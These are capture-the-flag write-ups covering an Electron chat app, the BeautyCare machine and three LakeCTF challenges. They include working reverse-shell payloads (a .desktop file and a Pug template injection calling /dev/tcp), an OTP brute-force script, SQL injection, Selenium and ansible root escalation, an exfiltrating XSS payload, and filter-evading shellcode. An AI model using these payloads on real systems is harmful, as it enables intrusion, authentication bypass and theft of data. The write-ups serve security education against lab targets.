'unsafe-inline' https://cdn.jsdelivr.net;style-src-elem 'self' 'unsafe-inline' https://cdn.jsdelivr.net;img-src 'self' 'unsafe-inline' 
http://127.0.0.1:9000;" />
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
    </head>

    <body>
        <div id="root">
        </div>

        <script src="./src/js/app.js"></script>
    </body>
</html>
```

In order to get the Electron app working properly, we must change the CSP in the above HTML, replacing `127.0.0.1` with the target server's IP. Additionally, in `app.js` , the `BACKEND_URL` also needs to be changed.

```javascript
/***/ "./src/js/config.json":
/*!****************************!*\
  !*** ./src/js/config.json ***!
  \****************************/
/***/ ((module) => {

        module.exports =
          JSON.parse('{"BACKEND_URL":"http://10.129.228.64:9000"}');

        /***/
})
```

After this, the Electron app should run proper!

The `app.js` is minified, but at the end of the file we find the base64-encoded source map. Decoding it gives a JSON source map, from which we can recover the React source code.

<figure><img src="/files/bbfp9j1f975a2CsuOz2T" alt=""><figcaption></figcaption></figure>

```python
import json
import os

with open("idk.json") as f:
    data = json.load(f)

sources = data["sources"]
sourcesContent = data["sourcesContent"]

for i in range(len(sources)):
    sourcePath = sources[i].replace("webpack://", "./")

    os.makedirs(os.path.dirname(sourcePath), exist_ok=True)

    with open(sourcePath, "w") as f:
        f.write(sourcesContent[i])
```

In `mainUIComponents/messages.js`, `dangerouslySetInnerHTML` allows us to perform HTML injection in regular messages.

```javascript
if (message.type === 'file') {
  if ( message.message.split('.').pop() === 'png' || message.message.split('.').pop() === 'jpg' || message.message.split('.').pop() === 'jpeg' || message.message.split('.').pop() === 'gif') {
    return (
      <div className='message in' key={message.id}>
        <div className='showimg'>
          <img
            className='isd'
            src={`${configData.BACKEND_URL}${message.message}`}
          />
          <a className='an'
            download
            href={`${configData.BACKEND_URL}${message.message}`}
          >
            Download
          </a>
        </div>
      </div>
    );
  } 
  else {
    return (
      <div className='message in' key={message.id}>
        ...
        <a className='an' download
            href={`${configData.BACKEND_URL}${message.message}`}
          >
            Download
          </a>
      </div>
    );
  }
}
else {
  return (
    <div
      className='message in'
      key={message.id}
      dangerouslySetInnerHTML={{ __html: message.message }}
    ></div>
  );
}
```

This allows us to send files for the admin to download, and a corresponding link pointing to that file using `<a href="file:///opt/userland/<filename>">click me</a>`.

For instance, I can spawn the Calculator app on my Mac.

<figure><img src="/files/M7LV6k1RsWGrCZAPshoA" alt=""><figcaption></figcaption></figure>

Since the remote server is running Linux, we need a slightly different way of gaining code execution. Internally, `shell.openExternal` will use the `xdg-open` program to open files. This will not executable binaries, but will instead likely open them with other programs like hex editors.

However, on Ubuntu, `.desktop` files *are* executed by `xdg-open`, allowing us to specify an executable to be run when the `.desktop` file is opened. For example, here's a `.desktop` file that spawns a reverse shell to our IP address.

```
[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=/bin/bash -c "bash -i >& /dev/tcp/10.129.228.64/1338 0>&1"
Name=RCE
```

### The XSS Rabbit Hole

I was working on this challenge in the final few hours of the CTF and wasted a lot of time on this rabbit hole, so I thought I'd discuss it here (perhaps as a lesson learnt as both a CTF player and a challenge author).

At this point, I thought I needed to:

1. Send a reverse shell payload to the admin
2. Force a `click` trigger on the download link
3. Send a `file:///opt/userland/<filename>` link
4. Force another `click` trigger on the file link

This made the assumption that the exploit needed to be 0-click. I was quite strongly convinced of this because

1. I had tried to send a link to my IP address but did not receive a callback - but this might be because I had been trying a lot of different payloads prior to that, and the admin bot might have "died" from previous payloads at that point.
2. There was a very easily-bypassable filter in the server-side logic for sanitizing messages. For instance, sending `onerror` would result in the `onerror` attribute being stripped from the final message. This is bypassable using uppercase characters.\
   \
   Since a 1-click exploit that requires the admin to click on both links does not require the bypass of such a filter (the filter did not sanitize `<a>` tags, it only made sense to me that this was introduced as another part of the challenge to create a working XSS filter evasion payload.
3. Most client-side web CTF challenges do not make the admin bot perform any extra interactions, and if they do, the source would be provided for the user to check - but again, this is not a "web" challenge per se.

A *slight* issue with performing XSS is the CSP restricts scripts to `self`. Since we are inserting HTML through `innerHTML`, `script` tags do not work and so we cannot simply load an uploaded file as a script.

I did, however, manage to get an XSS working locally by framing an uploaded file. Since we know that the admin bot and the API server reside in the same box, we could theoretically upload a file and use `<iframe src="file:///path/to/upload/folder/exploit.html>` to achieve XSS on the admin.

<figure><img src="/files/8wU8kI4VYEc3QwnfZpV6" alt=""><figcaption></figcaption></figure>

But since we don't know the local path of the uploaded files on the server, this is not exploitable (unless we are guess-gods).

In hindsight, that was probably too much of a logical leap and I should have thought simpler [🥲](https://emojipedia.org/smiling-face-with-tear/)

## Privilege Escalation

After gaining a reverse shell, we can see that there is a Selenium server running locally as `root`.

```
root         654  0.0  0.1  19896  2504 ?        Ss   18:14   0:00 /usr/sbin/cron -f -P
root         660  0.0  0.1  23384  2300 ?        S    18:14   0:00  _ /usr/sbin/CRON -f -P
root         672  0.0  0.0   2888   744 ?        Ss   18:14   0:00      _ /bin/sh -c java -jar /root/selenium-server-4.4.0.jar standalone --host 127.0.0.1
root         674  0.2  2.2 3080056 44540 ?       Sl   18:14   0:06          _ java -jar /root/selenium-server-4.4.0.jar standalone --host 127.0.0.1
```

From the Selenium [documentation](https://www.selenium.dev/documentation/legacy/selenium_3/grid_setup/), exposing the Selenium Grid to external access is dangerous.

> The Selenium Grid must be protected from external access using appropriate firewall permissions.
>
> Failure to protect your Grid could result in one or more of the following occurring:
>
> * You provide open access to your Grid infrastructure
> * You allow third parties to access internal web applications and files
> * You allow third parties to run custom binaries
>
> See this blog post on [Detectify](https://labs.detectify.com/), which gives a good overview of how a publicly exposed Grid could be misused: [Don’t Leave your Grid Wide Open](https://labs.detectify.com/2017/10/06/guest-blog-dont-leave-your-grid-wide-open/).

Because of the sensitive actions that can be performed, the grid is usually only exposed to `localhost`. Since we now have access to the local Selenium grid, and it is being run as `root`, we can make use of it to escalate our privileges.

The API details can be found in Selenium's [documentation](https://www.selenium.dev/documentation/webdriver/drivers/). For instance, to start a new browser session:

```http
POST /session HTTP/1.1
Content-Type: application/json; charset=utf-8
Host: localhost:4444
Connection: Keep-Alive
Accept-Encoding: gzip

{
  "capabilities": {
    "alwaysMatch": {
      "browserName": "chrome"
    }
  }
}
```

But we can also pass in extension capabilities that change the browser-spawning behaviour.

<figure><img src="/files/iAYEyFX1Mk2y13d66Ka9" alt=""><figcaption></figcaption></figure>

In our case, we can specify the `binary` and `args` Chrome options to run any command as `root`.

```json
{
    "capabilities": {
        "alwaysMatch": {
            "browserName": "chrome",
            "goog:chromeOptions": {
                "binary": "/bin/sh",
                "args": ["-c", "chmod +s /bin/bash"]
            }
        }
    }
}
```

In this case we gave SUID permissions to `/bin/bash`, allowing us to run `bash -p` to get a root shell.

<figure><img src="/files/s6mOQWhaBKgmv8L5gHvO" alt=""><figcaption></figcaption></figure>


# BeautyCare

## Initial Foothold

Doing an `nmap` scan showed an Nginx server at port 80.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: El BeautyCare
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Running a GoBuster scan on the webserver revealed the `/admin` and `/graphql` endpoints.

When visiting the `/admin` endpoint, we see a login panel. The credentials are sent as a POST request to the `/graphql` endpoint.

{% code overflow="wrap" %}

```http
POST /graphql HTTP/1.1
Host: 10.129.255.102
Content-Length: 118
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.72 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.129.255.102
Referer: http://10.129.255.102/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"query":"mutation {\n    LoginUser(username: \"test\", password: \"test\"){\n        message,\n        token    \n}\n}"}
```

{% endcode %}

By fuzzing both the `username` and `password` fields, we quickly find that there is an SQL injection through the `username` field.

{% code overflow="wrap" %}

```
Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
```

{% endcode %}

To quickly exploit this, I used SQLmap and specified a custom injection point:

{% code overflow="wrap" %}

```http
POST /graphql HTTP/1.1
Host: 10.129.255.102
Content-Length: 118
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.72 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.129.255.102
Referer: http://10.129.255.102/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"query":"mutation {\n    LoginUser(username: \"*\", password: \"test\"){\n        message,\n        token    \n}\n}"}
```

{% endcode %}

These gave the credentials `john:iamcool`. Upon logging in, though, we are prompted for our 2FA OTP. Since it was a 4-digit number, there were 10,000 possible OTP codes.

In GraphQL, a mechanism known as [batching](https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/) allows us to send multiple GraphQL queries in a single HTTP request. So instead of sending a single `verify2FA` mutation like so:

{% code overflow="wrap" %}

```json
{"query":"mutation {verify2FA(otp: \"0000\"){ message, token }"}
```

{% endcode %}

We could send multiple mutations like so:

{% code overflow="wrap" %}

```json
{"query":"mutation {verify0: verify2FA(otp: \"0000\"){ message, token } verify1: verify2FA(otp: \"0001\"){ message, token }"}
```

{% endcode %}

This allows us to bruteforce a significant number of OTP codes in a single request, reducing the total number of HTTP requests needed. However, due to limitations on the total length of a single request body, we still need to split the search space into multiple requests.

In the following script, we split the search space into 10 HTTP requests, each testing 1,000 OTP codes.

```python
import requests
import time

for i in range(10):
    res = ""
    for i in range(i * 1000, (i + 1) * 1000):
        res += f"verify{i}: verify2FA(otp: \"{str(i).zfill(4)}\"){{ message, token }}"

    qry = "mutation {" + res + "}"

    r = requests.post("http://10.129.255.102/graphql",
        json={"query": qry},
        headers={"Content-Type": "application/json"},
        cookies={
            "session": "<SESSION-COOKIE>"
        }, 
        proxies={'http': 'http://localhost:8080'}
    )

    data = r.json()['data']
    for key, value in data.items():
        if value != None:
            print(key, value)

    time.sleep(2)
```

This allows us to find the correct code in a couple of seconds.

<figure><img src="/files/oEpbNs9TKjqenkkdPPmJ" alt=""><figcaption></figcaption></figure>

Now, we can head over to the admin dashboard at `/admin/dashboard`. We are presented with a UI for saving and previewing email templates, which leads us to believe that there might be an [SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection) vulnerability.

From the HTTP response headers, we could also gather that the server was running an Express.js application, allowing us to narrow down the templating engine as [Pug](https://pugjs.org/).

<figure><img src="/files/Udb1KejXXTg8ERAzQxFv" alt=""><figcaption></figcaption></figure>

Using the following payload, we can spawn a reverse shell when previewing the template, allowing us to get a shell as `john`.

{% code overflow="wrap" %}

```java
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('bash -i >& /dev/tcp/10.10.14.33/1337 0>&1')}()}
```

{% endcode %}

## Privilege Escalation

Running LinPEAS on the target server revealed that `john` can run `ansible-playbook` with sudo privileges.

```
User john may run the following commands on beautycare:
    (root) NOPASSWD: /usr/bin/ansible-playbook
```

To exploit this, we create a playbook that assigns SUID permissions to `/bin/bash`.

```yaml
---                                                                                                               
- name: shell                                                                                                  
  hosts: localhost
  become: yes

  tasks:
  - name: hack
    shell: "cp /bin/bash . && chmod +sx bash"
```

Then we can just run `sudo ansible-playbook pwn.yml` to run the playbook's command as `root`, and then `bash -p` to gain a bash shell with root privileges through the SUID permission.


# LakeCTF Qualifiers

LakeCTF is a jeopardy-style security hacking contest organized by the [polygl0ts](https://polygl0ts.ch/) CTF team and the [EPFL School of Computer and Communication Sciences (IC).](https://www.epfl.ch/schools/ic/)

My team did well enough to qualify for the finals held in Lausanne!

<figure><img src="/files/X1DOU6BXZdAvikRRe0vN" alt=""><figcaption></figcaption></figure>

| Challenge                                                    | Category | Solves |
| ------------------------------------------------------------ | -------- | ------ |
| [People](/2022/lakectf-qualifiers/people)                    | Web      | 36     |
| [Clob-Mate](/2022/lakectf-qualifiers/clob-mate)              | Web      | 12     |
| [So What? Revenge](/2022/lakectf-qualifiers/so-what-revenge) | Misc     | 17     |


# People

Base element CSP bypass

## Description

> With the new People personal pages, all the members of the EPFL community can have their own page personalize it with Markdown and much more...

{% file src="/files/8yp6ed3Aoc3FozepbMWg" %}

## Solution

This was a client-side web challenge where we had to cause an XSS in a user's profile to obtain the flag through the admin account.

```python
@main.route('/flag')
def flag():
    if request.cookies.get('admin_token') == admin_token:
        return os.getenv('FLAG') or 'flag{flag_not_set}'
    else:
        abort(403)

@main.route('/report/<user_id>', methods=['POST'])
@limiter.limit("2/2 minute")
def report(user_id):
    user = User.query.get(user_id)
    q.enqueue(visit, user.id, admin_token)
    flash("Thank you, an admin will review your report shortly.", "success")
    return redirect(url_for('main.profile', user_id=user_id))
```

Let's take a look at our potential injection points. One of the suspicious features of the profile page was that we were able to edit our bio in Markdown.

<figure><img src="/files/2sauXdi2Ov3ZGKc9fgNu" alt=""><figcaption></figcaption></figure>

This is then parsed using `marked` and `DOMPurify`.

```markup
<section>

      ...
        
        <div class="block about">
          <h3>About</h3>
          <div class="markdown">{{ user['bio'] }}</div>
        </div>
        
      ...
        
</section>

...

<script src="/static/js/marked.min.js" nonce="{{ csp_nonce() }}"></script>
<script src="/static/js/purify.min.js" nonce="{{ csp_nonce() }}"></script>
<script nonce="{{ csp_nonce() }}">
  var markdown = document.querySelectorAll(".markdown");
  for (var i = 0; i < markdown.length; i++) {
    var html = marked.parse(markdown[i].innerHTML, {
      breaks: true
    });
    html = DOMPurify.sanitize(html, { USE_PROFILES: { html: true } });
    markdown[i].innerHTML = html;
  }
</script>
```

We could find out the version numbers of these libraries through the `marked.min.js` and `purify.min.js` files. Doing a search on these versions yielded no security vulnerabilities.

While [mutation XSS](https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e) attacks might still be possible on these libraries, those attacks would likely only happen when `DOMPurify` is used *before* `marked`, because `marked` deliberately [does not sanitize output HTML](https://marked.js.org/). It was also unlikely that this involved a zero-day in `DOMPurify`, so let's look around a little more.

In Jinja2, the `|safe` [filter](https://jinja.palletsprojects.com/en/3.1.x/templates/#filters) renders unescaped HTML. Doing a grep search for the `safe` filter finds this interesting part of the `profile.html` template.

```django
{% set description = '%s at %s' % (user['title'], user['lab']) %}
{% block title %}{{user['fullname']}} | {{description|safe}}{% endblock %}
```

Nice, we have our HTML injection vector! Trying to insert a `<script>` payload wouldn't work though, since the Content Security Policy doesn't allow us to load arbitrary scripts without a randomly-generated`nonce`.

```python
csp = {
    'script-src': '',
    'object-src': "'none'",
    'style-src': "'self'",
    'default-src': ['*', 'data:']
}
Talisman(app,
    force_https=False,
    strict_transport_security=False,
    session_cookie_secure=False,
    content_security_policy=csp,
    content_security_policy_nonce_in=['script-src'])
```

When this happens, we can rely on the [`<base>` HTML tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base) to set the base URL to use for all relative URLs in a document.

This means that we could load the `/static/js/marked.min.js` files from a completely different URL that we control. Since these script tags are part of the original template and the `nonce` is always appropriately set, the browser would have no issues executing the script from our URL.

```markup
<script src="/static/js/marked.min.js" nonce="{{ csp_nonce() }}"></script>
```

We start a HTTP server and create the `/static/js` directory structure, and place our XSS payload in `marked.min.js`.

```javascript
fetch(`http://${window.location.host}/flag`).then(res => res.text()).then(data => {
    fetch("http://HOST:PORT?flag=" + btoa(data));
})
```

Then we could inject `<base href="http://HOST:PORT">` into our profile through `user['title']` or `user['lab']`.


# Clob-Mate

DOM clobbering + request size denial of service

## Description

> I heard there's a shortage of Clob-Mate, but you need your hacker fuel. You have to order some, no matter the cost.

{% file src="/files/6G64vF8O779xI24jnNKJ" %}

## Solution

### Initial Analysis

This challenge gives us a simple form that when submitted, shows our "order status".

<figure><img src="/files/w3jXGLbxEu5bliCRnYyu" alt=""><figcaption></figcaption></figure>

Looking at the source code, we can see that the endpoint that creates the order takes in `article`, `quantity`, `username`, `address` and `email`, then generates an `order_id` based on the base64-encoded value of `article+quantity+username+address`.

```python
@main.route('/order/create', methods=['POST'])
@limiter.limit("40/minute")
def create_order():
  try:
    article = escape(request.form.get('article'))
    quantity = escape(request.form.get('quantity'))
    username = escape(request.form.get('username'))
    if username == "pilvar":
      if not ipaddress.ip_address(request.remote_addr).is_private:
        abort(403)
    address = escape(request.form.get('address'))
    email = escape(request.form.get('email'))
    order_id = codecs.encode((article+quantity+username+address).encode('ascii'), 'base64').decode('utf-8')
    order_id = order_id.replace("\n","") #I have no ideas where it happens, but I think there's a new line appended somewhere. Putting this line here and there fixed it.
    order = Order.query.filter_by(order_id=order_id).first()
    if order:
      iteration = 0
      order_id = order.order_id
      og_order_id = order_id
      while order:
          order_id = og_order_id+"-"+str(iteration)
          order = Order.query.filter_by(order_id=order_id).first()
          iteration += 1
    status = "Under review"
    new_order = Order(order_id=order_id,
                    email=email,
                    username=username,
                    address=address,
                    article=article,
                    quantity=quantity,
                    status=status)
    db.session.add(new_order)
    db.session.commit()
    q.enqueue(visit, order_id)
    return redirect("/orders/"+order_id+"/preview")
  except Exception as e:
    return(str(e))
```

This base64 value is then used in future URI paths that correspond to our order. This format of creating record IDs is a bit odd - alphanumeric IDs of a fixed length are the commonly-used format for these things, and more interestingly this format allows the user to create arbitrary-length URLs. This would come in handy later.

The app also exposes a `/orders/<order_id>/get_user_infos` API that allows us to query the `username`, `address` and `email` information of an order.&#x20;

```python
@main.route('/orders/<order_id>/get_user_infos')
def userinfos(order_id):
    order = Order.query.filter_by(order_id=order_id).first()
    return {'username': order.username, 'address': order.address, 'email': order.email}
```

The `/order/update` endpoint is where we get our flag - the admin needs to send a request that sets the `order_status` to `"accepted"`.

```python
@main.route('/order/update', methods=['POST'])
def update():
    if ipaddress.ip_address(request.remote_addr).is_private:
        order_id = request.form.get('order_id')
        order_status = request.form.get('order_status')
        if order_status == "accepted":
            order_status = os.getenv('FLAG')
        Order.query.filter_by(order_id=order_id).update({
            'status': order_status
            })
        db.session.commit()
        return redirect("/")
    else:
        return redirect("/")
```

The admin would visit our order preview, where the `inspect_order.html` template is rendered.

```python
@main.route('/orders/<order_id>/preview')
def order(order_id):
    if order_id:
        order = Order.query.filter_by(order_id=order_id).first()
        if not order:
            abort(404)
        if ipaddress.ip_address(request.remote_addr).is_private:
            article_infos = order.article.split(":")
            article_name = article_infos[0]
            article_link = article_infos[1]
            return render_template('inspect_order.html', order_id=order.order_id, article_name=article_name, article_link=article_link, quantity=order.quantity)
        else:
            return render_template('order_status.html', status=order.status)
    else:
        return redirect("/")
```

### DOM Clobbering

Let's take a look at the preview page! Our goal here is make `order.user.username` evaluate to `"pilvar"`, so that we reach the code path where `/order/update` request is sent with `order_status=accepted`.

```markup
<script type="text/javascript">
    //As we are getting out of stock, we decided to prioritize delivering our last Clob-Mates to real hackers. We also automated this task because it was taking a lot of time.
    order_id = "{{ order_id }}"
    fetch("get_user_infos").then(res => res.text()).then(txt => {
        try {
            user = JSON.parse(txt);
            order = { "user": {} };
            order.user = user;
            if (order.user.username == "pilvar") {
                fetch("/order/update", {
                    body: "order_id=" + order_id + "&order_status=accepted",
                    headers: {
                        "Content-Type": "application/x-www-form-urlencoded",
                    },
                    method: "post",
                })
            } else {
                fetch("/order/update", {
                    body: "order_id=" + order_id + "&order_status=rejected",
                    headers: {
                        "Content-Type": "application/x-www-form-urlencoded",
                    },
                    method: "post",
                })
            }
        }
        catch (err) {
            console.log("Couldn't send the data, trying again.");
            if (order.user.username == "pilvar") {
                fetch("/order/update", {
                    body: "order_id=" + order_id + "&order_status=accepted",
                    headers: {
                        "Content-Type": "application/x-www-form-urlencoded",
                    },
                    method: "post",
                })
            } else {
                fetch("/order/update", {
                    body: "order_id=" + order_id + "&order_status=rejected",
                    headers: {
                        "Content-Type": "application/x-www-form-urlencoded",
                    },
                    method: "post",
                })
            }
        }
    })
</script>
```

Quite interestingly, the `fetch("/order/update")` call is performed again if an exception is raised in the `try` block.&#x20;

Note that none of the variables are declared with the `var` or `let` keywords, making all of them [global variables](https://www.w3schools.com/js/js_scope.asp). Because in HTML the global scope is the `window` object, one effect of this is that if any of the HTML elements have their `id` set to `order`, the global variable `order` (`window.order`) would refer to that element!

This is known as [DOM clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering), a technique hinted by the challenge name.

```markup
<body>
    <p id="order" name="{{ order_id }}"><b>Order ID: </b>{{ order_id }}</p>
    <p><b>Article:</b> <a id="order" name="{{ article_name }}" href="/{{ article_link }}">{{ article_name }}</a></p>
    <p id="order" name="{{ quantity }}"><b>Quantity: </b>{{ quantity }}</p>
</body>
```

Because the bottom of the page contains elements with their `id`s set to `order`, the original value of `order` is a `HTMLCollection` object containing these elements.

But since `order` is being set in the `try` block, this vulnerability can only happen if we trigger an exception at the `JSON.parse` line *before* the `order` variable is changed.

```javascript
try {
    user = JSON.parse(txt);
    order = { "user": {} };
    order.user = user;
    
    ...
```

At this point we don't yet know how to trigger the exception, but let's first try and see if our hypothesis works. We could test this by adding a `throw` statement before `order` is changed.

```javascript
try {
    user = JSON.parse(txt);
    throw "";
    order = { "user": {} };
    order.user = user;
```

The `order` variable is indeed a `HTMLCollection`!

<figure><img src="/files/6ztNNm8WySVnd7DVz8cR" alt=""><figcaption></figcaption></figure>

Recall that our goal is to set `order.user.username`. To control `order.user`, we could use the `name` attribute that is set on the anchor and paragraph tags.&#x20;

Right now, our form body looks like this:

```
username=x&email=x&address=1&quantity=user&article=user:x
```

which sets the following body:

```markup
<body>
    <p id="order" name="dXNlcjp4dXNlcngx"><b>Order ID: </b>dXNlcjp4dXNlcngx</p>
    <p><b>Article:</b> <a id="order" name="user" href="/x">user</a></p>
    <p id="order" name="user"><b>Quantity: </b>user</p>
</body>
```

Now `order.user` would return the anchor tag element. Great!

<figure><img src="/files/rCtdJfEZbGZYRZxIual0" alt=""><figcaption></figcaption></figure>

Curiously though, `order.user.username` is an empty string, instead of `undefined`.

<figure><img src="/files/vQUz91dEVv6iJKbEKQCT" alt=""><figcaption></figcaption></figure>

This was strange indeed! The `username` property is in fact part of the anchor tag element object's prototype.

<div align="center"><figure><img src="/files/r4Aph6R7hSAWr9MXtIi3" alt=""><figcaption></figcaption></figure></div>

It turns out that the anchor tag's username property actually refers to the username part of the `href` value (see [this](https://www.w3schools.com/jsref/prop_anchor_username.asp)). This meant that in order to set `order.user.username` to `pilvar`, all we had to do was to supply a URL starting with `pilvar@` to the `href` attribute.

```
username=x&email=x&address=1&quantity=user&article=user:/pilvar@x.com
```

### Triggering the Exception

Now comes the tricky part - how do we trigger the exception in the first place?

My first thought was to look for interoperability issues between Flask's JSON response and JavaScript's `JSON.parse`. I tried things like weird unicode characters and JSON comments, but nothing worked. One nap later I convinced myself that both Flask and JavaScript are probably spec-compliant when handling JSON, and I was probably not intended to find a JSON parsing 0-day.

If JSON parsing is out of the question, then the only way to cause an exception here is to make the `/order/<order_id>/get_user_infos` endpoint return something that is *not* JSON in the first place! Going back to the `/order/create` endpoint, I started to question the weird `order_id` format.

```python
order_id = codecs.encode((article+quantity+username+address).encode('ascii'), 'base64').decode('utf-8')
order_id = order_id.replace("\n","")
```

We know that the user can create arbitrary-length order IDs, and we need `get_user_infos` to somehow fail. Since the `/order/<order_id>/preview` URL is 7 bytes shorter than the `/order/<order_id>/get_user_infos` one, there is a 7-byte window where `preview` would succeed but `get_user_infos` will fail due to URL length limits enforced by the web server. This is a known technique that in some cases can be helpful in performing XS-Leaks.

In the case of Waitress, the 431 Request Header Fields Too Large response code is returned.

```http
HTTP/1.0 431 Request Header Fields Too Large
Connection: close
Content-Length: 90
Content-Type: text/plain
Date: Sun, 25 Sep 2022 07:58:27 GMT
Server: waitress

Request Header Fields Too Large

exceeds max_header of 262144

(generated by waitress)
```

Using this script to binary search for the longest URL we could get before the error occurs, I got an approximate length for the `order_id` to trigger this exploit.

```javascript
let URL_LIMIT = 1000000

const checkLoad = async (url) => {
    let res = await fetch(url)
    return res.ok
}

const genUrl = (url, n) => {
    let seperator = url.includes('?') ? '&foo=' : '?foo='
    let endMarker = 'END'
    let l  = n - url.length - seperator.length - endMarker.length
    let newUrl = url + seperator + 'a'.repeat(l) + endMarker
    if(newUrl.length !== n){
        console.debug(`[!] ${newUrl.length} !== ${n}`)
    }
    return newUrl

}

const calibrate = async (url) =>  {
    let l = 0, r = URL_LIMIT, m = 0, res = false
    while (l < r) {
        m = Math.floor((l + r) / 2)
        res = await checkLoad(genUrl(url, m))
        console.log(res, m)
        if(res === false){
            r = m - 1
        }
        else{
            l = m + 1
        }

    }
    // check it again
    res = await checkLoad(genUrl(url, l))
    if(res === false){
        l--
    }
    res = await checkLoad(genUrl(url, l))
    if(res === false){
        console.debug('Error after last check !!!')
        return 0
    }
    console.debug(`DONE: length: ${l}, result: ${res}`)
    return l
}

calibrate("http://localhost:1337")
```

The next step is to take our current payload, and pad any of the fields (except for `article`) with enough bytes to get the corresponding `order_id` length.

<figure><img src="/files/HESlwRgwX8zdqpdppmsX" alt=""><figcaption></figcaption></figure>

A few moments later the admin visits our preview page and gets the flag!

<figure><img src="/files/YjTP7KOmYmi601m5GIbm" alt=""><figcaption></figcaption></figure>

While this method used the 7-byte difference between the two URLs to calculate the `order_id` length, the exploit is actually made much simpler by the fact that the `Referer` header is sent on the second request containing the order URL (I only noticed this after the competition).

Because the error is caused by the total length of the request line + headers, the long `Referer` header meant that the precision of calculating the required `order_id` length was not that important and a large range of lengths would have worked.


# So What? Revenge

## Description

> Are you a shellcoding pro? If not, so what? (salt guaranteed once you know the solution)

{% file src="/files/WW39jqpzS7AGMGidNlFR" %}

## Solution

In this challenge, we were allowed to send an assembly source file that would be assembled with `as`. There are a number of filters that were being applied to our input.

{% code overflow="wrap" %}

```python
last_byte = b""
binary = b""
while True:
    byte = sys.stdin.buffer.read(1)
    binary += byte
    # allow cancer constraints here
    # man, I really wish there was a way to avoid all this pain!!!
    # lmao
    if b"\x80" <= byte < b"\xff": # 1. printable shellcode
        quit()
    if byte in b"/bi/sh": # 2. no shell spawning shenanigans
        quit()
    if b"\x30" <= byte <= b"\x35": # 3. XOR is banned
        quit()
    if b"\x00" <= byte < b"\x05": # 3. ADD is banned
        quit()
    if byte == b"\n" and last_byte == b"\n":
        break
    last_byte = byte
    if len(binary) >= 0x1000:
        exit(1)

with open("libyour_input.so", "wb") as f:
    f.write(binary)

print("Assembling!")

os.system("as libyour_input.so -o libyour_input.obj && ld libyour_input.obj -shared -o libyour_input.so")
```

{% endcode %}

The assembled library is then linked against `main`. A `libflag.so` is also compiled with `flag` defined, allowing it to have the `win()` function.

```python
main_source = """
#include <stdio.h>

extern int win();

#ifdef flag
int win() {
    printf("Congratulations!\\n");
    printf("FLAG_HERE");
}
#endif

int main() {
    win();
}
"""

with open("main.c", "w") as f:
    f.write(main_source)

os.system("gcc main.c -shared -o libflag.so -Dflag")
os.system("gcc main.c -L. -lyour_input -o main")
os.system("LD_LIBRARY_PATH='.' ./main")
```

### Unintended Solution

My unintended solution was to simply tackle the challenge the way it was presented, and evade the filters.

Let's first assume that the filters weren't there. Our goal would be to export a `win` function in our shared library, which is run by `main`. The following shellcode spawns a `/bin/sh` shell.

```nasm
.globl win
win:
    xor    %rdx, %rdx
    mov    $7526411553527181103, %rbx
    shr    $8, %rbx
    push   %rbx
    mov    %rsp, %rdi
    push   %rax
    push   %rdi
    mov    %rsp, %rsi
    mov    $59, %al
    syscall
    ret
```

The first challenge we face is that we cannot have any of the characters in `"/bi/sh"`.

```python
if byte in b"/bi/sh": # 2. no shell spawning shenanigans
    quit()
```

This can be evaded in our instructions by simply using uppercased code (which the assembler accepts), but dealing with the `win` label itself is a bit more tricky. We can't just use `WIN` since that would export a different symbol than the lowercased `win` we need.

We ended up creating the `win` label using `.set`, which expects a symbol name that can be a quoted value. To set the correct address, we use `.` which means the current position.

> `.set` symbol, expression
>
> The `.set` directive assigns the value of expression to symbol. Expression can be any legal expression that evaluates to a numerical value.

Great! This cursed code actually works, and linking it against `main` spawns a shell when running `main`.

```nasm
.GLOBL    "w\x69n"
.SET      "w\x69n", .
    XOR    %RDX, %RDX
    MOV    $7526411553527181103, %RBX
    SHR    $8, %RBX
    PUSH   %RBX
    MOV    %RSP, %RDI
    PUSH   %RAX
    PUSH   %RDI
    MOV    %RSP, %RSI
    MOV    $59, %AL
    SYSCALL
    RET
    
```

The final piece of the puzzle is to get rid of all digits `0` to `5`, since they correspond to the ASCII codes `\x30` to `\x35`.

```python
if b"\x30" <= byte <= b"\x35":
        quit()
```

Since the `MOV` operands are expressions, we could make use of mathematical operations to arrive at the number we need. For instance:

{% code overflow="wrap" %}

```
77768999999999 * 96779 + 788777778*6976 + 6798666 + 6699888 == 7526411553527181103
```

{% endcode %}

And that was just what we needed to complete the shellcode!

```nasm
.GLOBL    "w\x69n"
.SET "w\x69n", .
    XOR    %RDX, %RDX
    MOV    $77768999999999*96779 + 788777778*6976 + 6798666 + 6699888, %RBX
